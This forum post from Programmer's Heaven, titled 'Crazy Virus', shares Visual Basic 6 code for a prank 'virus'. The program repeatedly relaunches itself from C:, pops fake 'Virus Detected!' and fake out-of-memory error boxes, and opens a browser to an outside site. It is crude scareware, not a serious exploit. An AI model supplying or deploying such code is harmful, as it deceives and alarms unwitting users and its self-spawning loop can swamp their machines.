Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Categories

Welcome to the new platform of Programmer's Heaven! We apologize for the inconvenience caused, if you visited us from a broken link of the previous version. The main reason to move to a new platform is to provide more effective and collaborative experience to you all. Please feel free to experience the new platform and use its exciting features. Contact us for any issue that you need to get clarified. We are more than happy to help you.

Crazy Virus'

topherhackertopherhacker Posts: 1Member
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, _
ByVal lpOperation As String, _
ByVal lpFile As String, _
ByVal lpParameters As String, _
ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long
Dim ctr As Integer
---------------------------------------------------------------
Private Sub Form_Load()
Shell "c: est.exe", vbNormalFocus
End Sub
---------------------------------------------------------------
' Timer1 interval = 100

Private Sub Timer1_Timer()
MsgBox "Virus Detected!", vbExclamation, "Warning."
End Sub
---------------------------------------------------------------
' Timer2 interval = 200

Private Sub Timer2_Timer()
MsgBox "Runtime error 492. Not enough memory.", vbCritical, "Runtime Error."
End Sub
---------------------------------------------------------------
' Timer3 interval = 5000

Private Sub Timer3_Timer()
ctr = ctr + 1
If ctr = 1 Then
ShellExecute Form1.hwnd, "open", "http://www.googlehammer.com", "", "", SW_SHOW Or SW_NORMAL
Timer3.Enabled = False
End If
End Sub
---------------------------------------------------------------

---------------------------------------------------------------
'After that, you will make the exe file and name it the "test.exe" and then save it to drive C.
Sign In or Register to comment.